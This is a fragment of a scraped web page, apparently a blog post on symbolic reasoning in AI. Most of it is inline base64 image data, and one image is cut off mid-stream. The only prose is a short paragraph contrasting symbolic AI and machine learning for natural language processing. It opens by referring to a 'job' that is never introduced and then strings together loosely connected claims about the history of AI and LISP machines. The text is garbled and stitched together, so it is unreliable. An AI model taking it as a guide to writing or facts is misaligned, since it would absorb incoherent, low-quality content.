JSlUuTTudmJlwJSPUPEnuAiCeJrjh034eXl26hlVwXSWwtNPl1gIZB6F1fPb83WOYHEPxQak8R9fFQuubTJ0mW5SVIllq83YHiQfhK\/dGNHOpZAtSPxz8W8lxEXHIUCyBNsWrQVLU2tw7DOPk47bb3ADkM8+cfpoTxOyvsbJWZf76g8yns5ed6hY7grvB9caq4A6CKJUULS4k4Ug5BijlY7ckU7qrmNOcd1jouj0szQrjdTN0l5txKfTwgYIPjGs\/FnWlSlYk7SbWlStnnThB5pHRIPz8z9EYxYHEXXrJprksZNMy+hvY0pSvRJ7t3zRGFwXBVrorc3cFbmTMTs6vtHXD3nwHgB0A7o5OHp745i5\/QLoZuaySMNjPVeFDi08xj5o9Ew\/IvybafMyiaQfScC\/RWn97jIPTv8Y8w6AQjvBcbaLRO1PMpHgCOREZ9ZmvWsGn0kKbZ+o9fpkolOxDDM84ltCc5wE5wOfhGA4EMDwhSUv6K5h1uXZW+8sJQ2krUo9AAMkxyC1YuyY1T1fr1wSRMwqsVQsySQc70bg2yB86QmOvz7LUwytiYaQ624kpWhYBSoHqCD1EY1L6X6bSj7czKafW0y80oKbcbpUulSFA5BBCMgiPe+C\/FcXhOaXIMPmPc2gbqvXt68fkuTqOC7Oa1gdQC0KR5PXXFaUuezNnjcArBn5jI5f4iIEmZau6VagqlZooaq1r1Tars1ej2rDnVJIB2nbkEgHB5gR2XxhOIxye030+qs47UKpYlvTk0+ordffpjDji1eKlKSST6zHp9N+1zUW+ZHqkYlY4VQAbV+9c8KjNoMXBhO0j8VoLx13NI3jcFg3TT1pVLVW10TbZB5YW6o4\/04jargnOeHK2jnI7Sb\/nC4lGb06sCeblmZyxrfmG5NvsZdDtNZWllvOdiAU+inJJwOXOLvSaPSqFJt02i0yVp8m1ns5eVZS02jJycJSABk8+keZ1XxbHqGgQaJHEWiN27dd2Pi4qvdXcfAdFlOyS7qK\/ZQrxrUCqXFw+V2VpEq5MPSz0rOLbQklXZtvJUs4HXABMaH8P\/EBU+H2u1SuyNuy9abqUqJd2XdmiwRtVuCgoJV6xjHf6ufWVxtLiShSQpKhgg8wRGGL0X0lVPKqatNbaVNFW8uGmM5KvHG3GYt+G\/GWJpWkTaNqGP5schvg1zx1\/ILTM058+Q3IidRC1N8otNmcp+nU4tIQZhqdcKc9CUsHHrjPeCDB4Za3g\/wB8al\/IojZCsWfatxoYRcVs0mqJlQQwJyTbeDQIGdu8HGcDp4CP2pVuUGhSK6VQ6JT6fJuKUpUvKyyGmiVDCiUJABJA5+MU5\/FrJvDsWgtirY\/fuv3caqvfut2YBblnKLuoqlye4dCk69WHgj\/v7Lf8+Nu\/KNkDTm1yTj+vCv5FUbKSOmmnlMm2p+n2HbsrNML7Rp5mlsNuNr7lJUE5B9Yi41q2beuVlEtcdBp1VaZUVttzsqh9KVdMgLBAPrEdLUfHrM\/XMTWPJoQgDbfWr9a46qGHSzFjPxy75lp\/wB0SWubSPUO3ptXvFTnPM3cc\/RclQk\/xxrYqX1I4VdY2Ki9TwzU6JMOebqfbUZael1BSCQRjchaCehyknuIxHVOhWxblstOsW5b9NpTTygt1ElKtsJWrGAVBAGT6zC4LXty6pQSFzUGn1WWB3Bqcl0PJB8QFA4PzRJifaF5Gp5mRNBvgyfmYT7V1rssP0ndDG1rqczoVzJ1x4nr54hW6VbqbdYpctKvF1uUkXHH3X31DaCVYBxg8khPU9TGw9D0yuDTDghu+TuttbNWq0q7UX2HFEqYSsoCEK\/dBIBPgTjujZu3NMdPLSmvPbZsiiU2ZwR20tIttuAHqAoDI\/TF\/qNOkKtKO02qSMvOSj6drrD7aXG1jwUlQII+eK+qeNMSWGDC0zFEUMbw8i7c4g3V9vzW8OnSAukmfucRXsFzc4BFA6\/IAIP8AWec\/\/CMO4rKRXKJxAXW5XWF5nJ1M1LrcB2vMFCdhSe8ADb86e6On9HsOyrdnPZGgWdQ6bNbS328pT2WXNp6jchIOPVFblsaz7zbQ1dlr0urpaz2fnkqh0oz1wVDI+iOpH9pbI\/ED9ZOP8L2BhbfPHqDX6KB2jk4wg38g2ufGonErcWs2lbeltlaUmQk6fLNP1FyTUp8NsS4B9FKUAIRlIJJJ5DHrjE+EfVOa0x1bkkytIaqCbkLVFdC3i2WUuPIPaJwDkgj4Pf4jv6b2\/Z9rWpJqp1s25TaVKrOVtScshpKz6wkDP0xapPSTTCnVhNwU\/T+35eopX2qZluntJcSv9kCE8j6xGGePtLj07I0mPBIhksj4yTuPq4n3qq7J\/SpjKyYycj2XK7WdSTrfd5JAP5QTX8sY68yH9gy\/+KT\/ABRj8zpnp3Ozbs9OWFbb8y8suOPO0thTi1nmVFRTknPeYyZCQlKUpAAAwAO6POeKvFbfEmPiQNi2eQ3b1u+Gjtx0VzBwThve4m9xX1CEI8aukkeWoTIlJN+aLrbfZNKcK3DhKcDOT6o9UYHrnOTNP0muiclFTIcbp7hBlk5XjHPA8MZz6o0kdtaSstFuAWul56qXrd1n1Oxr6tSWrtNr+5hupUoh9iVJV6C1pI3JAIB5jHrMTloHPVaQs+RtG4ZgPTtNZS0l3JPaJAGOvM8o0ypgnK3IU6qUKaaoU2XWmdlMqCR2mTgbpc9\/ecYOMxIlMv8A1Dse5jKTtFnQQpSmn0pJbVzzjI5YwR+iPMwZr2yh7uV18jH+DYOFu6DkZisW23ap7NUKRqp27plhDignoFEcx+mLlHqGkOFhcfokIQjKJEY8SepY0l0Tuu90PdnNSUgtEng4JmF+g3j17lCJNJA6mOcHlPeIyh1eRlNCLSn5edeYm0TlccbUFBhSM7Gc9y8nJ8OUYcaWQLXPep1GerVRmavVppyanZxxTr77qita1k5JJPMx5sRWEQKRIpFYQRUwIYEVhBFSKxeKPaVYrtKqVYp7bamKYhK3svISrBUE8gTnvB6dMxZk8wDGAbRVhCEZRf0WKWEpKlHAHUxDsrxgcOM5cKLVltTJRdVdnPMES3mU1kzG\/Zsz2WM7uWc49cTA8PeVg\/sTHEy1RniTkOWc3sP58Yjysh0G0NHVdzQtHh1RkzpXEbBYr8V22Jz9MVz6hEP8QfExZfDjJ0aevKjVyfbrTrrTApjTKygthJJV2jiOXpDGMxH13+UJ0RtO06FcLbFZqU\/X5VM43SJZtozMo0SQDMHtNjZyOQClE9QMc4mdPGw040ubDpebkNbJFGSHdD9FtBnEYPqZrdpfo2zITGpd2S9ERU1OJlC6w652pQAVYDaVEY3DrjrGI8PnFPpzxFys8m1Ez9PqlMAXNU2fQlLqWycBxJSopUknlkHIPUDlHPXjf4i6Lr5fFGl7YptUkKba0vNSa0VBKELcmlu4cUkNrUNm1pvBJB5qyB3wz5TY497eey6OlaDNmZpxZ2loHLvbjj811ioFfpV0USRuOhTaZqnVJhE1KvpSpIdaWMpVhQBGQR1Ee\/PcTGsnBdxIWdqnaNO0zoVHrUrUrPoUo3OvzjTKWHSkBs9mUOKUeY\/OCeUerWfjv0Z0crz1puJqdx1qVUUTcvSm0KblVfsXHFqSnd+5TuI7wIlE7CwPJ4VJ+k5f3p2KyMlw9PWvRbI554xEca4a9WVoBbkndN8s1FyTnZ0SLQkWA6vtChSxkFScDCDzzEQ6V+UN0R1JuKXtafl6va85OKDcs7VG2zLOuE4CO0bUraT+7CR3ZzGNeVAI\/UUtxQUMG42zkf5M\/Gr52+UXxm6UuLpMrc6PFzGFu412U7aTcSNgayWDXdRrSYqqKVbzzzM2JuWDbpU0wl5WxIUcjYsY5jnkRiOkfG9o7rTfElp\/Z8rcCKnPtPOtKnJFLTW1tsrVlQWcHCT3dYg\/gCSPalarHGSajVP+ipeNe\/J6jPFDbXiZKofzVcVhkvPl\/wCXVdl+g4rRmkE\/2a28+18rfDVrjk0b0ZvafsK7pS4V1KmobW8qUkkuNYWgLThRWCeSh3dYn6nzzVTkJaoS4PZTTKHkbhghKkgjPr5xz94srj4NadrZXpTVvTvUCqXIlmXM7M0mbbRLLSWE7NqVTCDkIwD6PXxjdG6NTLA0o04l72uurppFBl5Rjsi9lTqgUDs2kpTlS3COWBkmLEcpLnbiKH6fVcnNwI2QQOhY7c\/rY4J\/xWcAwKiI0sm\/KkaStzSmpGwLsfZBIDrgl2yr1hPaH\/ScxE+jV88R3FbxEm6Lfve4res2nVaWnqjJStZeRKy8m2sKTLFpKwFqdS2Uq9HB3KJ6Rg5cVhrOSey3j8O5gjfLkjy2tF2f2+q6Vhec8oZxjMRLrpxN6WcPkmyq9qo+9U5tsuSlJkUB2bfSDjdtJCUpyD6S1JGRgEnlEI0Pyn+jFRqbUnWLSumlSji9qpxTLLyGh+yWlDhXj96FH1RK6eJh2k8qlBpGdkx+bFGS3vS3IyDDMYdVNU7Sp+mM\/q3IT3sxb8lTHasHaeUrU+y2grIRkgbsAjBI59cRCto+UF0Kue2LhuubTXKFLW95ulTNRl2u3nVvb9qGENOLK1DsznOAMg5xkjLpo2cOKih0\/LyGl0cZNGjQ6FbNnGekfWfmjVTTDyiOjupN6ydlvUauW+7UnQxJTVRSz2DjqjhDaihaihSjyHIjPLI5RsPfmoFoaZWvN3jfFaYpdJkk5dfdyck9EpSMlaj0CUgk9wgyWN43NKT6flYsjYpmEOPQd1ke75ornvjS+c8qLo8zPrZk7Fu+ZlEKKRMdnLoUsD85KC7nn3AkHxAjYrRnXvTfXihLrmn9ZXMebkJmpN9stTMqs9A4g\/McEEpOORMYZPHIdrXWVJk6Tm4bPMnjIb3UjZjx1emSlbps3SJ9KlS06yth0JOCUqBBwfmMRHrxxXaU8PiWZO7Z6anq1Mt9qxSaa0HZlSP2atxShtPgVKGeeMxEdseU30UrNWZp1etu5qFLvL2+evMtPMt+BWG1lYHrCTiMPyImu2OPKzBpGdkR+dFGS3vSx2+OErULSO4\/y\/0fCrrlpYEppsy5iYaHikZCXP8AQfVH6Naz3FJMMM6j2XP0JT4CV+eMlCs9CQCOg9WY3Uo9XpdfpUpWqJPMzkjOtJfl5hlW5DiFDIUCOoixajadW9qVbr1Ar8oFAgql30gdow5jkpJ\/jHeIo5GnNcC+E0VhmYb2Ti\/3UcaW6odhLplJ8EyfItqSM+ieih\/9xE3S0yxNsomJdxLjbg3JUnoRGjbk3dOj9wqtG75ZfYtrPm74HoLbzyUk946fNE76a6kJlEtNduJinvkct3Nkk8yPV6op4GoljjBPwQtcnG2\/GzoVOUI\/KXmGZllL7DqXELGQpJyDH6EjEegBBFhUVGvEdqqnRbRm59REBCpqmyZTJIWeS5lZCGh\/nEH5gY4RVOpT1Zqs7Wao+p+cn5hczMOqOStxZypR+cx0b8qjrfSxQ6RoZRnkvzz0w3VaopDv6w2jPZtqAPUn0sHuA8Y5tgYHKInmzS3aqwhFM+uNVsqwhCCJCEIIvtl99hLiGHltpeG1xKVEBQ8D4x+Y5ADuEVhBEhCEEX9Fbv625+9McTLV\/tk5D\/dsP5+Y7ZOn3lZx+af4o4mWoR7ZKQOf\/LYd\/wD6eYqah1Z9V7Lwf\/pZR\/xH\/K3F8qkcW\/YB8Jyd\/wCY3Ef8OPCpppqFwv3RqZczEy9Xds\/5g8h9SESnYNgoISDhRKsk7s8uUZ\/5VM4t6wM\/7cnf+Y3GU8HODwP13ny21kdf8HGpY1+U4O7KeHJlxtBhMTqJeBx2srWfyb89MscSbDDKyluboc6h1OeSgC2oZ+kRY+OnTa0NK9dV29ZVOXJSU1SJeouoU6pzc+669vVlRJGdo5dIunk5Cn2zFOI\/8zT3T5kRkHlNqNUpTX6mVmYk3EyNRtyWRLTBSdi3G3nw4gHpuTuQSPBaT3xWAvDPsV2vMLfEIaDW6P8AMrZvSXTOw9D+Gid1jsekOSdx1KyEzk3MGYcWHHQx2gISokJ9M55Rzl0rqduJvb2bv6watfcoEOvu02UmFtreeUR744pKVKKeaiRyySOfcd+uE3WyU4i9JqnoBOW4unPUW1E01+fEylbb4UgspUE4yk9D1Mad6cXpqDwXa5TL9ftkOz0gh6nz8g+otJm5dShhxpzB5EpSpKhuGOUST7XCNw+X6eqp6SJo5MuGUXMeQLokc0L9FjurMpSbruhusaY6K3HZ1OMslD1PWl6ZT24Uo9ohRQCkEFPo8+acjrG0HFdXq5c3A\/pNV7lQ+Km7OSiZrt0KS4VplX0kqCuefR74jDVXjS1v1tvums6XTFctRpTSZKVpFInlrdm3lKyVrKQnco5AA28gPWYmrjiot2W7wj6c0e+qvMVO4Zepyoqc086XFuTBlXivKiTnBOM57owwN2yFhvjtwtsl8zcjDZkNDXB3A3Fzq9z\/AO16OAH+1L1W\/wDaNU\/6Kl4188nn\/bQ21\/kVR\/mq42C4AlD2pWq2COVRqn\/RUvGvnk9FD20Vtcx\/YVQ\/mq4N\/wCh\/PVaycN1P8P\/ABK8\/lA\/7Zy7c\/7Xkv5siNn\/AChlqXNXuH2x65RpV6YptCdamKmhpJPZoXLBKHlAfmpOQT3bx3ZjV\/ygZHtnLsyf\/F5L+atxsT5RWr33T9ItOJKjzcwxbFQZU1VwwspDj4ZZMuhzHVJHbHHQlPPujPTzrRocf6bsIvnr9OVBWkerHDNbfDpcdl35YYqF7TomhKzJpwdU6pSfeFJf\/uew45ZHTPPMZb5MekXG9rJWazItPikS1FWxPugENKcU4gtIPcVclKHeAD484S0+1V0ite3pel3Zw+0m6amypSnKk\/WJphToKsgKbSdvIcuQwcRuFwp8bGmE5cNK0gl9Jqbp\/KVWY7GQcpr6VSy5pfwUOJ2JIUtWAFZOVEA9Y0x3Mc9hc6q9lPrMORFjZDYInODzZJIIH0HZakcTN3zl98S131OutTE41K192ltyzCsLMrLO9iltvkcFSUZ6fCUTgxcdVqhpvdVsytO044ZbmtCrSrqCZ9UxMTKXm8EKStBbGSeRzkYjIuMbTC6NEOIidv6nyD6KTWaqLhpU+WyWfOVOdq4yVdApLoUdvXaUn1xlOsHlGb71DsqWtyz6E9ZlRLjbs3VJOpqU4vaOaW8JSUJUeuSeXL1xq4NDniQ1+FqzE+WWHFfgs3NAHO4tDePUDqsx4YZ65WeC3Wq1q9Tp6UYpchUHZJE0wtrCHZQqUEhQHIrCjy7ye+IM4K9GrR1t1iFuXuy6\/SpKmvzzku24UF5SSlKUlQ5gelk458o2n0ma1ineCrVK7NYK9XKhMVyi1F6mNVd1anWpRMqoBQC+aQpW5Q6ZGD0IiFPJlHOvVRGR\/wCD8x\/KNxLsBkiaey5rch7MTUJoyA7cPlPF16KIuJLT+jaQa\/16z7QU8zTqZNsPyIU4VLZCkIcACuvJR5Hr0jYXymN6Vmam9PrLMysU8Us1Z5oKIS7MLIQlSh37UhWPDefGIh45lD21F1HIHpSf8giNjPKHaMXBdFjWjqzbki9Ot29TxJVVllBWtuWWlK0P4H5qVBQUe4KB6A41DSWytZ3Vh07DNp8uQeS08nuQFcuHjgp0bvvhto9duSiLmrkuSnuzaal5wtC5Za1L7IIAOAEgJyMHJzmP34UuDfWDh\/1YTedWuihzNGekn5KelpV10rdSRubO0pCSQtI+YE46xBmkPlA7k0s0Zl9MEWVL1KcpjDsvTamqdLaW21qUpHaNhJKthVgYUMgDp1jN\/J9yutmoupMzqLdF03DNWlSJZ9vM5OOqYm5tz0QhCVHCggbiT3Eo+iaJ0D3sDByP5yubnQanBBlPyJAIyTQPN9tvZaw6n3S5fPEDXrlu2Qnq4zMXE4H5KVcKX35Zt0oSw0rB2+9oCRyOMdIyDV+bsC8aZINaZcN1y2bPSrvvzxdfmm5hopI2qQpvkrODuB8fou\/EDZF68L\/Eku8JSSUJUVz2eoM44gmXmUlwu9kSOpScoUnrjn0IMZnrZ5Q7UHUug06iWFS5qxnmng9NzklUlLffO0gNoKUp2oycnOScD6appu9sho32td9rpZG48mGzczb13FoH1A6rZ7ycFQuh7QmZo1yys9LijVp+VkUTbS21pl1IbcwAoA7QtxYHdyx3Rtd80QBwVyGrbOjbNZ1jrVWnqvW51yelkVR1S5iXlClKW0q3HKc7SvHLG\/mMxsBHagFRNC+Yas8SZ0rhXU9OijrWvSyU1Otd2UbQhFWlAXZF49yu9BPgrpGnts1yr2NWn6HV2npdbLpadZdGC0rPePCOgxHf3xB\/ENoam+5By67aZxX5NvJaTgeeIT0Sc\/nDuP0RytV0\/wA8edF8w\/VMPJDP7cnyn9F5LRvuelGELp04nsyAezUcpP0d0R3xbcbEro\/ZHsJQqUtV21tlSJTtEky7SM4W4SCDkdw5fPEa2vdlTt6YXJzYe2tqKXGnQQttQ6pIPSNOeKrUdeoeqL7aU\/1LREJkmTuzuPwln9KsfRFLS8yaSTyieB1W+XjCIb+6iyuV6sXPV5qvV+oPz0\/OOFx599wrWo\/OSTy6D1R4opyiiicYSCVHoAMnMegVFVwpRCW0lSlcgAM5MdBtKOAFlfCxdFy3nTUPXrX6YKlRW1IIdpqW070o\/fLGcjwIEZXwKcCspQpSQ1l1hpjc1UpppMxSKQ+gKRKpIyHXQeRWR0Hd88b+htGzYUDbjGMcsRI1t8rUuX86S0rbcU24hSFoJSpKhggjqIRNPGhaVuWRxM3pQrVUgSJmW5otIAww66jetsY7gTnHriFojWwSEIQRIQhBEhCEEX9FqkAggjIPiIwdrQnRRmqIrTOj9kt1BD\/nKZtFAlA8l7O7tAsN7grPPdnOecZ3CJyAeq0a9zPlNLHbs09sW\/ES7V72VQbgRJqUqXTVKazNhlShhRQHEnaSORxiP2o1j2bblCXbFvWlRqXR3d4XT5OQaZllBYwvLSEhJyOvLnF7isKF2m91bb4WHW5o7pPZ9TTW7S0vtKi1FCFNom6dRZaWeShXwkhbaAoA4GRnnFyu6wrLv6mpo972pSq9JNr7VDFRlEPoQvBG5IWDtVgkZGDzMX+ENoqlnzH7t1m1iVl6UabacqfXYViUKgLmkhL7lPkW2VugHIClJGVDPcTHovDTewtQZZqUvqzKLX2WCVNJqEk2\/wBmT1KSsEpJ9WIyWEY2iqrhZ86Tdv3G+98\/msNs\/R3SzT2YXOWJp3btBmXUdmuYkKc0y6tGc7StKdxHqziLrdFjWdfEi3TL1tOjXBJtOh9uXqki1NtIcAI3hLiSArBIyBnBMX2EZDQBQCw6V7nb3Ek\/VY5QNPLFtOkzdAtayqDRqZPqUqbkqfTmZdiYUpIQouNoSEqJSAk5ByAB0jwW9o3pNaNWbrtqaX2lRakylSW5yn0WWl30BQwoJWhAUMjkefMRmUIbQseY\/nk89eVhdxaM6R3ZU3q5del1o1mozASl2bqFElph5wJGAFLWgqIAGBk8hHPzynP5Vsan21KTSJhu1mKMlNKQkbZZD+9QeAA9HftDY\/ehPdHTZWMc4s1yWlbF4SApd1UCQq8oFhYZnJdLqAod4ChyPriGeDzmFo4XT0jUzpuU2d43AXx9ey5x2NxWcHtCsmi0W4uF2nTtVkaezLTcz7B05\/t30oCVOdq56atxBOVc+cQ5odY9S1n4lKPN6fW2qmUhi5WK24hsEs06SZmUv7CocgdqNiR+yUMchHVf2v2iPyUWuP8A3Y1\/+oyi3bQtW0pUyNrW7TqTLk5U3JyyGUqPiQkDMVfuj3kb3Ch7LtDxFjYzJPusbg54olzrHPsv3rFBolx0t+i3DSZOpyEyna9KzjCXmnU+CkKBBHziMNo\/DtoRb1UarVE0ftCTnmVhxp9qkMBbax0Ug7fRPrGIkPmM4MfUXyxpNkLyrJ5WAta4gfVeKpUmm1inzNIq1Plp2RnGlMzEtMtJcZebUMKQtCgQpJHIg8jGP2xpLpfZFQVVbM03tagzrjfZKmaZR5eVdKCQSkrbQDtyBy9UZbCM0DytA9wBAPBWF13RjSK6as7Xrm0stCrVN\/aXZ2eoks++5tGBucWgqOMDGTGXpl2m2ksNNoQ2hIQlCUgJCQMAAdwj9YQoBC9zqBPRRtPcOGglTqTlXqOjdmzE464XnHV0Zj3xZOSpQ24USeZJyTGfSNMkaXJs0+myTEpKy6A2yyw2ENtoHRKUjkB6hHrikA0DkBbPmkkAD3E13Nq1XFa9u3dS3qHdVAp1Zp0xgOyk\/LIfZc\/fIWCk\/ojE7d4ftErSqrVbtrSi1adUGFb2ZpilMpdaV4oVtyk\/NiJChGC1p5IRs0jG7WuIHa18hAGI+oQjZRqnPPqihHqj6inSCLX\/AIm9I6TN2lWNRbfpykVqmS65t9qWaKjPJSnmkpHVeOhH0xxtrlQo83cM\/N1Wn1NpyYmFO9mVBByT3hScgR\/QkUhXIgEeBiItZeFfRrWykzUrc1oyTFSdbKWapKspbmWVY5KCgOePAxV+6sbIZGiiVL5znNDHHgLhY4tG8hAUAT6IPM9eXSOiHAfwLJfMlrTrHS8oyHqNRZhvHpA8n3kkc\/FKfpMTloh5OvRfSarJuKtqfu6qy7u+WXUW0hlnHQhocifWY2tSlKRhIwByAHdErWV1WhdfREICEhIGABgAd0Visfm86hhtx91SUobSVKUo4AAHMmJFquKHHqmkp4sL49iSTl2WMznP6\/2Kd\/X1bYgKM617uVN5a3XtdDbocbqFZmVtqSvckoCylJB7xgCMFiBSjokIQgiQhCCJCEIIun3uzfCd8XdSPqeU\/FQ92b4Tvi7qR9Tyn4qOJMIsKJdtvdm+E74u6kfU8p+Kh7s3wnfF3Uj6nlPxUcSYQRdtvdm+E74u6kfU8p+Kh7s3wnfF3Uj6nlPxUcSYQRdtvdm+E74u6kfU8p+Kh7s3wnfF3Uj6nlPxUcSYQRdtvdm+E74u6kfU8p+Kh7s3wnfF3Uj6nlPxUcSYQRdtvdm+E74u6kfU8p+Kh7s3wnfF3Uj6nlPxUcSYQRdtvdm+E34uakfU8p+Kh7s3wm\/F3Uj6nlPxUcSYQRdtvdm+E74u6kfU8p+Kh7s3wm\/FzUf6nlPxUcSYQRdtvdm+E34uaj\/U8p+Kh7s3wnfF3Uj6nlPxUcSYQRdtvdm+E74u6kfU8p+Kh7s3wnfF3Uj6nlPxUcSYQRdtvdm+E74u6kfU8p+Kh7s3wnfF3Uj6nlPxUcSYQRdtvdm+E74u6kfU8p+Kh7s3wnfF3Uj6nlPxUcSYQRdtvdm+E74u6kfU8p+Kh7s3wnfF3Uj6nlPxUcSYQRdtvdm+E74u6kfU8p+Kh7s3wnfF3Uj6nlPxUcSYQRdtvdm+E74u6kfU8p+Kh7s3wnfF3Uj6nlPxUcSYQRdtvdm+E74u6kfU8p+Kh7s3wnfF3Uj6nlPxUcSYQRdtvdm+E34uakfU8p+Kh7s3wnfF3Uj6nlPxUcSYQRdtvdm+E74u6kfU8p+KjD9XfK\/8PlzaZ3Lb1h0e\/Jav1KmvSki9N0uWQ0hxY25UpMySBgnmAY48wgik06k0D9pnT87af6UP1SaB+0zv8Gn+lEZQjTYFtuKk39UmgftM7\/Bp\/pQ\/VJoH7TO\/waf6URlCGwJuKk39UmgftM7\/AAaf6UP1SaB+0zv8Gn+lEZQhsCbipN\/VJoH7TO\/waf6UP1SaB+0zv8Gn+lEZQhsCbikIQjdapCEIIkIQgiQhCCJCEIIkIQgiQhCCJCEIIkIQgiQhCCJCEIIkIQgiQhCCJCEIIkIQgiQhCCJCEIIkIQgiQhCCJCEIIkIQgiQhCCJCEIIkIQgiQhCCJCEIIkIQgiQhCCJCEIIkIQgiQhCCJCEIIkIQgiQhCCJCEIIkIQgiQhCCJCEIIkIQgiQhCCJCEIIkIQgiQhCCJCEIIv\/Z\" width=\"304px\" alt=\"symbolic reasoning in ai\"\/><\/p>\n<p><p>As you can easily imagine, this is a very heavy and time-consuming job as there are many many ways of asking or formulating the same question. Since its foundation as an academic discipline in 1955, Artificial Intelligence (AI) research field has been divided into different camps, of which symbolic AI and machine learning. While symbolic AI used to dominate in the first decades, machine learning has been very trendy lately, so let\u2019s try to understand each of these approaches and their main differences when applied to Natural Language Processing (NLP). Insofar as computers suffered from the same chokepoints, their builders relied on all-too-human hacks like symbols to sidestep the limits to processing, storage and I\/O. As computational capacities grow, the way we digitize and process our analog reality can also expand, until we are juggling billion-parameter tensors instead of seven-character strings. At the height of the AI boom, companies such as Symbolics, LMI, and Texas Instruments were selling LISP machines specifically targeted to accelerate the development of AI applications and research.<\/p>\n<\/p>\n<p><a href=\"https:\/\/www.metadialog.com\/\"><\/p>\n<figure><img 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tuby1jm8F\/9ZOYPE9h3HtWRKqOyjFP40BQZrNg6kkelCR7U1kwaEr7UrCsJIxQMDg04jt5UBH0qdxIhgc0tlJ9qeR9KAj6VOwLYj1oGFPZe3lSmFTs0RTA4xSWGKeRS3X1xU7ASfKgbyphHvQkd\/pUrAUQe9KBwKewNJYYqdg6BPnUEURxQmpihPcYoKOhIx51kq8U\/ZU\/ndtf6lc\/4a9sjzrxL9lU46vWn1srn\/DXtosqq0j9lAyfoK1eq\/aPMttMhaG2Ku2S80smf+1IzY\/TOP0q8PYfrWP0EznQ9Pa6JMzWsTSk+rlAT\/E1f+n604kanYUwD1oVGKMeVUjMEo9aNQSaGmR9qriZgHoKpR4hGD8g8\/rQ5MjFV\/CPxH\/ZT1AwAOwqkAkGT5U5RQIMevpTV71aQJA8qaoqFFGv99VxhiVRiiAzVUajtiqSHIoD0pir28qpV8u9GO1axmzVgVIGaoDNFgCt6KfKONSBipCk1PEetOSmGqo8D2qsD2p6oLIBquPtRlR7VHE+lKwcgUJFMxmhIxS0CyvnSyMelPoGXv51nKAgihK+1NYY7ZoPLtWKzSWWlsKe4zSmH8anYCWGRg0lhirhvelOO+c1KwEEUth5inGltUaRDjBoD5U6QetKPep0Ft50qQdqcfWlsP41OzYpPnVVPoaEdqlTQR3oW86Mj1oGrNZ6x4c+zHcSW\/WXRVUfLNHdRv8AQeA5H\/qC17a1mUW+jX83kI7WVv7EJrwx9n68Gn9TNNvMZ4PFH+QknjjJ\/sc17e3ceO2dVQHvJayQqfq44j+Jpujj+eMsqqg4KOyjAokGahe65x6VKe9aiBq0wDvQAd+1MFUgiQO5o2ZhiNPxt5H2Hv8A8etLLrGOTd\/QAeZPtTYYyoy5y792I\/u\/SrYg2ONUUKmcD3pyigWmIKpjA5tpmm\/aETqlcXup6\/tF+n7SyiGzSOU6gsRT7vLcFXkGxkliMZ7HtWS3gu8D1G24ttb63LtYRP437IlhUJfCaPg13zZXa3EfidkyCeQYH5K31QK13cmsbls9Zs7HQbWCdZWjaZGtWk5RNMiSHmJFEfFC7DIOeOB3wDTg8P8ADut7\/d0cfj3tGrcZNTXKa3835+XL7bqD9qGW2muz0p0mOQm4EEL5DKot45Inf74ocSGWNlDZJVAuVLSLsO6bvrddbM0C8tNItodXt9Qsbm+OlySOzRrI\/jA20hiLR8ODFfHySSMDAyzX9U6xTj4GCwiiEN\/p0kl3aWcg+5W7sXlfAmJkUxtdq0QGeMRGe45ltfVOtC65KNU0G0Sz1DUYp5fiXmzFD8DYq6QBeax\/ei5bDnHMMM9+R6v2RjC2e+\/tNzWtxNedL9Jt5YraxkSE5cvOc\/FxKRMVJJC+ExIUcgHZctwxutbg+1NuC3i0u42ZZ6RBLqUDtNpJcXEcUV\/akxvI06hVaA3DGRA6uqhOKkkHerHX+tKq0mpaHpZ4lV+6sZFLqI7ZzwAlf5i01zGAxCgwAsyhsgrnUuqGj7j3Z+zNNa+sbjUoX01bq3kkSGA2VkhdGV\/wCb4nlGq8sh3HL8LahrXfe4vtB6frGp\/yJ2rt+702PUre2sXu4ZSxtmsvEluHKTZYC5Cw8VjBAZm8ssMbHvn7SM01zJH0w0xIk1UJbwyuQ8lkyADLiUqjK5JZj8pRTwDHgH2Gz3N1luorDxts6RbzS\/CPc+PBc8YWeFTNCCnIlw\/iDxP82BwySSQt7YX3UJLvXL6ay7LbadFaxG1fwYX+JnFzxQyZmKRMjFl4eJxUKPStwNMtd4facvIIviNhaTHCWjWYy2pguJUdrZZMBL1xCyeLdHPJ+Qt1IxzAqz1XqD9oPaGmWt3qm2dv2mjwLaW9zeXjcpLRSmmq87vLeKJiXuNQUISpJt0+Zi3z9W29eb9uLozazb2CWa3L28axWckcksQhV0ucvKeILgoYiuQT3bsSda0a76zWe1re\/v7ezvtTnMUd5DPZyR+FILZOcw8N2+RXRhwRCXYkr2IFaDH6fuzqVu\/Y2w9eaym0+71uzhvNXhsofBZczW5eNVkZimbZrtwCxOUGDzC5V1I0zqob3S06cz6u9pNc6Zb3CS3EiNHa\/FBriR5JGJ\/zeVbiPHw2QxC8TuF5q\/Ue3tNHI03T5Z7i0kN+YLWd1gkGMSIG4nhgMfDJ8QngoAyzKuz1rqDFNHJfaEZEnSdFaOBgDIlwqQNw5kxLJCXkYMcggAkH5SBdbN1DX2ul0jWzcyTR6PZSTySD\/wCtXmtypZcqpI8BgB5hifetT27rHW+20rR7W90O2kW3tII7y5ubdmnZwtgkjFfiMsVMt8xPcyG3HEfMC+at9S6nW1hZiext57r4NzPK1g\/Ca7SRgkARZcRBh\/pvwjAJ7EAZGDUuo8F\/p8d\/YWEttdfDyXAhtJFkiEgYPHkyMpMZAJclQVb5VYjDAYk7j6t\/tyGzO27RdNNt9\/e+CzOsnO34usXMcgySzfJnKtEc5AXxMf031fqJpz7d2nulHk1C70q1vb9rxzNNbCGxt47jk4kI5vcuoXOQSly2W7VfT3HVPWtd02ym086fpkGvF7wxI8T\/AAkT3PhZkSb7xZBHauSuAOfB1YM6ALrVers+6hFaaLZraRC9hS78CcwIjXlisXKMzJ4jrA10xbjjkn3bcSwcDJ3er9Rlu7WO20q2kikluviGNs4EbLNCsMQJlHytE0z+LxK\/djKqcK2EvdZ65SbKhuY9I0yPcF1pkzSwW9sVNtePZxNGo5ytHxS4aVSWbuFXGcHkP7T6vS6bpetahtwpfW7C6uLO0DBW5aXM5hdWlPiBLp0j8xkop7edZzTdY3+22LvVtxaZY299HItvBbQ2sjh\/vQvi4aRSysGyEIRvME98ABN1rfU+2sbZ7TQ7G+urq7WPj4LRLHbi8ijaR8yHiTbNJKPZgBxPHDWGka31Vmu7aXdejW1raQrHdv8As2CV2lHhz+LE3NwVKMsQChWDcxxJ7lU6jubrCJvBstu2Bgjt5Wa4msbjlI6XUYjZY0ckeJbmQhCQyyLhyi9znLTVd6Wm31\/a5iTUptXurdS2ms\/h2oklaHEaSAyMIwndW7jzyQ